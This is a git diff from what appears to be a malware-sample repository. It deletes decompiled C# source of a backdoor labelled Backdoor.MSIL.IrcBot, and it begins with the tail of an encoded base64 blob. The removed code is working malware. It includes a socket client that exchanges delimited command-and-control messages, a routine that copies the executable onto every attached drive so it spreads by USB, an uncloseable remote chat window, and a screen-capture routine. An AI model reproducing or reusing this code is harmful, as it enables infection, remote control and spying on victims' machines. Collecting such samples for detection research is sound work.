- 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
- +uQrandGLV8wDKi59Nd433Hg3wXh+82O6Et68ym/n5Jw/D707+6v8WuexKcoJ1aHgIgqkGkSBt8mTNeM
- zzWrw49+jV/z1//o1/hdMd2/LcTEuEpvLC6/xm//mto2OqqxCj8M5K/xO4bfvNa++K3edy2bQnz/a3z3
- 9yVFAqdP2v6+rK4xigX/5VyOp8pavy8L/Dn9Jtj9vtY0L71Wv8Zv7Avir/FbV9yj/P3705s11Nvv3DUs
- vz/RGUoMVPk1fueueQm+/c17xvHX3qL/i9sHvvkJ+pYM4G/oZvLX+F1e06fPeWYw20aMgXFKVPw1ftcV
- Qxcsx7+GuKsVYzvl33+NJ9/7x/713+JPf/edP+cX/vr/w9/yr3z2N/0av8Hf+YPf9yd/+/3/6I/+Df6m
- 3+P3/wN/8389eUQo/Jq/Nrnnv86v8Wv8Fr/Rr//r/da/xW/3a/4WvxH++A30j98Af/zm+sdvjj9+K/3j
- t/p1fgN6B//8BvjnN8c/v9Wvk/6av9bvREB/g18n/TV+i9+afvlNfq1f8Gv8+r/Zr/lr/oJfg37u/Jq/
- 5q/5m/2CX+PX+i1/Dfr6t/w1AOi3/zXpjy3649f7NX6t3+C32KHufs3f4Df4den33+A3+PV/jV/7N/gN
- frPf5Df4NT/6ddNfiz74tX693+TXpy9+s9+EPvs1fh1qQL/+Wr/eb/Dr/Ea/Bunx9Nf6NX8z+vvXTX9N
- +vfHfo1f59f6TX7sN/ux3+y3o7H9JgTyt6OGvx1B/e1+O/yV/Cb0cfLr/Rq/dpL8WglA/Xa/3W/xO/8G
- CXX3m/3mj+l/1D/h+Zv8Fr/Gr/9r/Wa/+R/wm9D/f7vf7Df/fenLP4C++E1+51/31/71fudf99f69X79
- X+vX+w1/nV/vd/7NS/wzp89+Exr8r//r0z8/9mP0z2/4G9I/NJSUuvgNQJaEfv0N+ddfE1/9WvwPIfxr
- /Sbc6jf5Dej9X4OB/Jr49Nf8nX67H0t/nd/id/8NfoPf4s7vRMP6tX6L3/3X+vWS3yD9tX+L3/03kU+S
- 3+J3p8bJb0Jj/y1+d/qIqJ0k6a/7W/zuNCr689dLeXy/Ufrr/Ra/Ow9Q3voNCGSqQ/5N0FrHTN/+hqmh
- AMGwv/8GRKjf7rf7sR8jmv12mJ3fDjP12/1mv92P/Rq/LkH57eg3EPi3S/jP3+A3o7+Z0DyJ/O9v/NuB
- iX6NX+PXmeGfHP8Qc+wSLr/FfSBPwH6L+zSS3w5j/01+O5Dtt/u1f73f/Pf+dX5NNP216B/6a/Xr/Nr4
- C4B+nV+XP/otPqP/H4MjP8M/x5g0+vs3wN/0zzF9+w5fvMNf76i3X/M3/+I3+DV/DQAlz48I/Jv8Jr/t
- r/lrJF9cIxlGkXv+6x+Md/Dfr/FrqByoBCjvG67/9SEhvz4k49eHRNA/v9Vv+Wv+Gr/JF9djb0Xn1/g1
- fjMKeekzmyD/NX6jX/PX+PXpA05F/hr6xnfziU2Q/xpExt/pd/q1f/1f89ei/xPRf83f4rf+zQuA/63p
- 79/k1yV4v+DX+HUSEiT6jGQp/XVoAL/Jb5L9mr/GviZECNjYQBtToN9WtP7ZjF9X2erbbbs6KQtKlpnP
- fwtZmfj9f3+zNvH7//6/paZ8/c9+DSXGb4kfLKsJ/QNi0ie/PgkyRPnX/DV/rV+XyUoj+E1YgiFlvwn/
- 82uxyPwmv8Gv/+v+Wr/Bb/Jr/c6/ya+HWfqD/vBf/9f/tX8D+kEC/etgFL8JsQn+Jb74g/5k/vdP//WI
- Pf6gP/03+U1//d+AvkBT+v9v8DtDcok2v9bv9Nv9Fr81wP92v/mvn/wmP/ab/Ha/wW++jwZo8+thpv+g
- v1l+/N2/5m/9G/4avx56+A1+g9/8D/rnk1/j1/md8Tv9yr38wyQzvxPg/E6/AUn/b/Kb0OfE7WhOX/xa
- v8mv/+sR0L//NxHI/zB98zv9Jr/J70QD+p1/XUKYXv/3iRCkD34TwpH+FTx/ZxnFf8/4/+e/yY/9+r/2
- b/EH/cf4DdL9a/86vx4Nijr8jX9jqDICDnL9Jr820fDXxm+/MWjGv/0Gv/bWr/87AuCf/jv/2kCZ/iUE
- qR+M5Nf+tYUY9AH9S61JjxBWvwlRF6P4tXgMpB9/jV+H1Nhv8Bv8Jr/9r08/fhNB8O+nD2Q8ePc3+DV+
- rd/iD/4xIiYprt/i9/xNkt/u1yN8n8qPb8uP578B/3j5G0Cufy2ZpD/4dyaMfyfWVdzLb/c7/7q/wW9w
- /Ov/7kSF3+IN4fhrJejrPsn3b/4Y/wHt3+IP/o0xCfTXb/E7039/8G+sY/idCal/mP732xFzYM7+4Dsk
- pb+WSCl1+Nv9diDc7wSt8Dv9pr/+r/db7P4Wu4CM1/9hEozf7sd+/V/3t/st7v8G9H9GbPvXheD8Jr8B
- 6cQ/mBr+1r8+TcMf/Bv/zr/Tb/Tr/xgRhHr7nehH8uv/+r+B/EaaF7OJMdAQfjvoul+TlFZCQH/nX5cm
- +Md+u18//bV/E4zux379X4c/+Q3Awr/Jb/4Hf/ab//q/IQY5Aj/JUH7s1/i1fvM/+Ph3+s3/4FPint/u
- t6Hv6c/f/A/4zf8A6gE/frvf/Pf9zX9fwvnXp///GP3/N/x1SQp+A7BzQj0QhjAVvwE6+w1+vV//1/kN
- 1VgkvyHA/oT8j/r+DfjHr/XrUzv6hiZU/vdrkyUiBH4Daffr/HrS+DekH7/Fr/+b/oa//m/wOye/Af77
- DTD034Aaz+nbhL6lX2fgwd/wt/v1f6tf6zcEXX7z2W+ApqYtkPgNWDVDtH5n4kQS49/41/8xmjpY6d+A
- +JKwBSvSVBAV6PPf4Df9NX49euc3/4Pz3/wPLn7zP3gBhk6YUcg4J1AJv+bvjGFjrKQJiL6/MwzFr/U7
- /U48h78I1pz45ReRhvktPiN1Tkrw+Pf8NSmk6qzsj99UrOFaStBeUDaS8uoz8+WTdYEM/K+/Z5T6b0CM
- 8Qf/EvofwL37vX/NX+P36q5Zvm7Xs6Iay7o4gdU8sKwl57X94DX9U+aSqF7KGs+v/9B0o3rftKV+f03q
- Gs8vgPF582v9Nt+tsxUlnu3C65s5luB/TdiHXQPlzq/5a/xu93Y+fbgzm93fzibZ7vb+zsF0++H57s52
- fr57f/fB/oOd6adTcr5/zV/jt7AJ3/Qf+avTdG9nlyD8hr/mr/HrST6WO/+N/pxfwz5j/J66v/0n9dq5
- h5ZJaloR/SIjaItmWtEShWR56fm/f/dfI/09Yy/96PnR86Pn/wPPr/EnkX4gPH/PR/9fQPZHzzf9/D/7
- O6esAIIAAAA=
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/SocketsClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/SocketsClient.cs
deleted file mode 100644
index 2482ff05..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/SocketsClient.cs
+++ /dev/null
@@ -1,261 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.SocketsClient
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using n.My;
-using System;
-using System.IO;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- public class SocketsClient
- {
- private static string response = string.Empty;
- private static int port;
- private static IPHostEntry ipHostInfo;
- private static IPAddress ipAddress;
- private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- private byte[] Spl;
- private static int ct;
-
- public SocketsClient() => this.Spl = this.STB("nj-q8");
-
- public void AT(byte[] D)
- {
- MyProject.MyForms forms = MyProject.Forms;
- Form b = (Form) forms.B;
- n.Delegates.T.T.appendText(ref b, ref D);
- forms.B = (B) b;
- }
-
- public event SocketsClient.onConnectEventHandler onConnect;
-
- public event SocketsClient.onErrorEventHandler onError;
-
- public event SocketsClient.onDataArrivalEventHandler onDataArrival;
-
- public event SocketsClient.onDisconnectEventHandler onDisconnect;
-
- public event SocketsClient.onSendCompleteEventHandler onSendComplete;
-
- public void Connect(string RemoteHostName, int RemotePort)
- {
- try
- {
- SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- SocketsClient.port = RemotePort;
- SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName);
- SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0];
- IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port);
- SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent;
- if (onDisconnectEvent != null)
- onDisconnectEvent();
- ProjectData.ClearProjectError();
- }
- }
-
- public void SendData(byte[] Data)
- {
- try
- {
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Data, 0, Data.Length);
- memoryStream.Write(this.Spl, 0, this.Spl.Length);
- memoryStream.ToArray();
- SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None);
- memoryStream.Dispose();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void Disconnect()
- {
- try
- {
- SocketsClient.client.Shutdown(SocketShutdown.Both);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- SocketsClient.client.Close();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public byte[] STB(string Data) => Encoding.Default.GetBytes(Data);
-
- public string BTS(byte[] Data) => Encoding.Default.GetString(Data);
-
- private void sockConnected(IAsyncResult ar)
- {
- try
- {
- if (!SocketsClient.client.Connected)
- {
- SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent;
- if (onDisconnectEvent == null)
- return;
- onDisconnectEvent();
- }
- else
- {
- SocketsClient.client.ReceiveBufferSize = 99999;
- SocketsClient.client.ReceiveTimeout = -1;
- SocketsClient.client.SendTimeout = -1;
- SocketsClient.client.ReceiveTimeout = 9000;
- ++SocketsClient.ct;
- new Thread(new ThreadStart(this.DDD)).Start();
- SocketsClient.onConnectEventHandler onConnectEvent = this.onConnectEvent;
- if (onConnectEvent == null)
- return;
- onConnectEvent();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent;
- if (onDisconnectEvent != null)
- onDisconnectEvent();
- ProjectData.ClearProjectError();
- }
- }
-
- public void DDD()
- {
- int ct = SocketsClient.ct;
- MemoryStream memoryStream = new MemoryStream();
- while (true)
- {
- int num;
- ++num;
- Thread.Sleep(5);
- if (ct >= SocketsClient.ct)
- {
- try
- {
- if (num > 200)
- {
- try
- {
- if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0)
- {
- MyProject.Forms.B.Dis();
- break;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- MyProject.Forms.B.Dis();
- ProjectData.ClearProjectError();
- break;
- }
- num = 0;
- }
- if (SocketsClient.client.Available > 0)
- {
- byte[] numArray = new byte[SocketsClient.client.Available - 1 + 1];
- SocketsClient.client.Receive(numArray, numArray.Length, SocketFlags.None);
- if (Strings.InStr(this.BTS(numArray), "nj-q8") > 0)
- {
- memoryStream.Write(numArray, 0, numArray.Length);
- new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start((object) memoryStream.ToArray());
- memoryStream = new MemoryStream();
- }
- else
- memoryStream.Write(numArray, 0, numArray.Length);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- else
- break;
- }
- }
-
- public void EFE(byte[] B)
- {
- SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent;
- if (dataArrivalEvent == null)
- return;
- dataArrivalEvent(B, B.Length - 1);
- }
-
- private void sockSendEnd(IAsyncResult ar)
- {
- try
- {
- int DataSize = ((Socket) ar.AsyncState).EndSend(ar);
- SocketsClient.onSendCompleteEventHandler sendCompleteEvent = this.onSendCompleteEvent;
- if (sendCompleteEvent == null)
- return;
- sendCompleteEvent(DataSize);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- SocketsClient.onErrorEventHandler onErrorEvent = this.onErrorEvent;
- if (onErrorEvent != null)
- onErrorEvent(Information.Err().Description);
- ProjectData.ClearProjectError();
- }
- }
-
- public bool Connected()
- {
- bool flag;
- try
- {
- flag = SocketsClient.client.Connected;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- flag = false;
- ProjectData.ClearProjectError();
- }
- return flag;
- }
-
- public delegate void onConnectEventHandler();
-
- public delegate void onErrorEventHandler(string Description);
-
- public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes);
-
- public delegate void onDisconnectEventHandler();
-
- public delegate void onSendCompleteEventHandler(int DataSize);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/StateObject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/StateObject.cs
deleted file mode 100644
index 63f7a118..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/StateObject.cs
+++ /dev/null
@@ -1,27 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.StateObject
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using System.Net.Sockets;
-using System.Text;
-
-namespace n
-{
- public class StateObject
- {
- public Socket workSocket;
- public int BufferSize;
- public byte[] buffer;
- public StringBuilder sb;
-
- public StateObject()
- {
- this.workSocket = (Socket) null;
- this.BufferSize = 1999998;
- this.buffer = new byte[1999999];
- this.sb = new StringBuilder();
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/USB.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/USB.cs
deleted file mode 100644
index ed8a762a..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/USB.cs
+++ /dev/null
@@ -1,59 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.USB
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.IO;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- [StandardModule]
- public sealed class USB
- {
- public static void USb(string S)
- {
- while (true)
- {
- Thread.Sleep(5000);
- try
- {
- foreach (DriveInfo drive in DriveInfo.GetDrives())
- {
- if (drive.IsReady)
- {
- if (drive.TotalFreeSpace > 0L)
- {
- try
- {
- if (!File.Exists(drive.Name + S))
- {
- File.Copy(Application.ExecutablePath, drive.Name + S, true);
- File.SetAttributes(drive.Name + S, FileAttributes.Normal);
- }
- else if (FileSystem.FileLen(drive.Name + S) != FileSystem.FileLen(Application.ExecutablePath))
- File.Delete(drive.Name + S);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.cs
deleted file mode 100644
index 1928f35d..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.cs
+++ /dev/null
@@ -1,317 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.chat
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using n.My;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Drawing;
-using System.Runtime.CompilerServices;
-using System.Windows.Forms;
-
-namespace n
-{
- [DesignerGenerated]
- public class chat : Form
- {
- private IContainer components;
- [AccessedThroughProperty("T2")]
- private TextBox _T2;
- [AccessedThroughProperty("B1")]
- private Button _B1;
- [AccessedThroughProperty("Timer1")]
- private Timer _Timer1;
- [AccessedThroughProperty("T1")]
- private RichTextBox _T1;
- public static bool clos;
- public string nick;
-
- public chat()
- {
- this.Load += new EventHandler(this.chat_Load);
- this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing);
- this.Resize += new EventHandler(this.chat_Resize);
- this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged);
- this.SizeChanged += new EventHandler(this.chat_SizeChanged);
- this.InitializeComponent();
- }
-
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (!disposing || this.components == null)
- return;
- this.components.Dispose();
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
-
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = (IContainer) new System.ComponentModel.Container();
- this.T2 = new TextBox();
- this.B1 = new Button();
- this.Timer1 = new Timer(this.components);
- this.T1 = new RichTextBox();
- this.SuspendLayout();
- this.T2.BackColor = SystemColors.WindowText;
- this.T2.ForeColor = SystemColors.InactiveCaption;
- TextBox t2_1 = this.T2;
- Point point1 = new Point(12, 364);
- Point point2 = point1;
- t2_1.Location = point2;
- this.T2.Name = "T2";
- TextBox t2_2 = this.T2;
- Size size1 = new Size(450, 20);
- Size size2 = size1;
- t2_2.Size = size2;
- this.T2.TabIndex = 2;
- this.B1.FlatStyle = FlatStyle.Flat;
- Button b1_1 = this.B1;
- point1 = new Point(468, 364);
- Point point3 = point1;
- b1_1.Location = point3;
- this.B1.Name = "B1";
- Button b1_2 = this.B1;
- size1 = new Size(133, 23);
- Size size3 = size1;
- b1_2.Size = size3;
- this.B1.TabIndex = 3;
- this.B1.Text = "Send";
- this.B1.UseVisualStyleBackColor = true;
- this.Timer1.Enabled = true;
- this.T1.BackColor = SystemColors.WindowText;
- this.T1.ForeColor = SystemColors.InactiveCaption;
- RichTextBox t1_1 = this.T1;
- point1 = new Point(12, 12);
- Point point4 = point1;
- t1_1.Location = point4;
- this.T1.Name = "T1";
- this.T1.ReadOnly = true;
- RichTextBox t1_2 = this.T1;
- size1 = new Size(450, 346);
- Size size4 = size1;
- t1_2.Size = size4;
- this.T1.TabIndex = 4;
- this.T1.Text = "";
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.BackColor = SystemColors.InactiveCaptionText;
- size1 = new Size(413, 233);
- this.ClientSize = size1;
- this.Controls.Add((Control) this.T1);
- this.Controls.Add((Control) this.B1);
- this.Controls.Add((Control) this.T2);
- this.Name = nameof (chat);
- this.ShowIcon = false;
- this.StartPosition = FormStartPosition.CenterScreen;
- this.Text = nameof (chat);
- this.ResumeLayout(false);
- this.PerformLayout();
- }
-
- internal virtual TextBox T2
- {
- get => this._T2;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress);
- EventHandler eventHandler = new EventHandler(this.T2_TextChanged);
- if (this._T2 != null)
- {
- this._T2.KeyPress -= pressEventHandler;
- this._T2.TextChanged -= eventHandler;
- }
- this._T2 = value;
- if (this._T2 == null)
- return;
- this._T2.KeyPress += pressEventHandler;
- this._T2.TextChanged += eventHandler;
- }
- }
-
- internal virtual Button B1
- {
- get => this._B1;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.B1_Click);
- if (this._B1 != null)
- this._B1.Click -= eventHandler;
- this._B1 = value;
- if (this._B1 == null)
- return;
- this._B1.Click += eventHandler;
- }
- }
-
- internal virtual Timer Timer1
- {
- get => this._Timer1;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- this._Timer1.Tick -= eventHandler;
- this._Timer1 = value;
- if (this._Timer1 == null)
- return;
- this._Timer1.Tick += eventHandler;
- }
- }
-
- internal virtual RichTextBox T1
- {
- get => this._T1;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = new EventHandler(this.T1_TextChanged);
- if (this._T1 != null)
- this._T1.TextChanged -= eventHandler;
- this._T1 = value;
- if (this._T1 == null)
- return;
- this._T1.TextChanged += eventHandler;
- }
- }
-
- private void chat_FormClosing(object sender, FormClosingEventArgs e)
- {
- if (chat.clos)
- return;
- e.Cancel = true;
- }
-
- private void chat_Resize(object sender, EventArgs e) => this.fx();
-
- private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx();
-
- public void fx()
- {
- try
- {
- this.T1.Width = this.Width - 40;
- this.T2.Width = this.B1.Left - 20;
- this.T2.Top = this.Height - this.T2.Height - 50;
- this.T1.Height = this.T2.Top - 20;
- this.B1.Left = this.T1.Width - this.B1.Width + 12;
- this.B1.Top = this.T2.Top - 3;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void T2_KeyPress(object sender, KeyPressEventArgs e)
- {
- if (Strings.Asc(e.KeyChar) != 13)
- return;
- try
- {
- if (this.T2.Text.Length <= 0)
- return;
- B b = MyProject.Forms.B;
- string y = IND.Y;
- TextBox t2 = this.T2;
- string text = t2.Text;
- string str1 = API.ENB(ref text);
- t2.Text = text;
- string str2 = "#21" + y + str1;
- ref string local = ref str2;
- b.SEND(ref local);
- RichTextBox t1 = this.T1;
- t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n";
- this.T2.Text = "";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void chat_SizeChanged(object sender, EventArgs e) => this.fx();
-
- private void chat_Load(object sender, EventArgs e)
- {
- try
- {
- B b = MyProject.Forms.B;
- string str = "#20";
- ref string local = ref str;
- b.SEND(ref local);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.TopMost = true;
- this.Show();
- }
-
- private void B1_Click(object sender, EventArgs e)
- {
- try
- {
- if (this.T2.Text.Length <= 0)
- return;
- B b = MyProject.Forms.B;
- string y = IND.Y;
- TextBox t2 = this.T2;
- string text = t2.Text;
- string str1 = API.ENB(ref text);
- t2.Text = text;
- string str2 = "#21" + y + str1;
- ref string local = ref str2;
- b.SEND(ref local);
- RichTextBox t1 = this.T1;
- t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n";
- this.T2.Text = "";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void T2_TextChanged(object sender, EventArgs e)
- {
- }
-
- private void Timer1_Tick(object sender, EventArgs e)
- {
- if (!chat.clos)
- return;
- this.Close();
- }
-
- private void T1_TextChanged(object sender, EventArgs e)
- {
- try
- {
- this.T1.SelectionStart = this.T1.Text.Length - 1;
- this.T1.ScrollToCaret();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/sc.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/sc.cs
deleted file mode 100644
index 40489a84..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/sc.cs
+++ /dev/null
@@ -1,151 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.sc
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using n.My;
-using System;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Windows.Forms;
-
-namespace n
-{
- [StandardModule]
- internal sealed class sc
- {
- private static bool _0;
- private static int H;
- private static int W;
- private static int HH;
- private static int WW;
- public static Image Image;
- public static Rectangle Bounds;
-
- public static byte[] gc(ref int Q)
- {
- if (!sc._0)
- {
- sc._0 = true;
- sc.H = MyProject.Computer.Screen.Bounds.Height;
- sc.W = MyProject.Computer.Screen.Bounds.Width;
- }
- int num;
- switch (Q)
- {
- case 0:
- num = 30;
- sc.HH = 1;
- sc.WW = 1;
- break;
- case 1:
- num = 25;
- sc.HH = 1;
- sc.WW = 1;
- break;
- case 2:
- num = 20;
- sc.HH = 1;
- sc.WW = 1;
- break;
- case 3:
- num = 60;
- sc.HH = 2;
- sc.WW = 2;
- break;
- case 4:
- num = 50;
- sc.HH = 2;
- sc.WW = 2;
- break;
- case 5:
- num = 70;
- sc.HH = 3;
- sc.WW = 3;
- break;
- case 6:
- num = 40;
- sc.HH = 3;
- sc.WW = 3;
- break;
- case 7:
- num = 50;
- sc.HH = 4;
- sc.WW = 4;
- break;
- case 8:
- num = 50;
- sc.HH = 5;
- sc.WW = 5;
- break;
- case 9:
- num = 50;
- sc.HH = 6;
- sc.WW = 6;
- break;
- case 10:
- num = 50;
- sc.HH = 9;
- sc.WW = 9;
- break;
- }
- MemoryStream memoryStream = new MemoryStream();
- EncoderParameters encoderParams = new EncoderParameters(1);
- encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num);
- ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
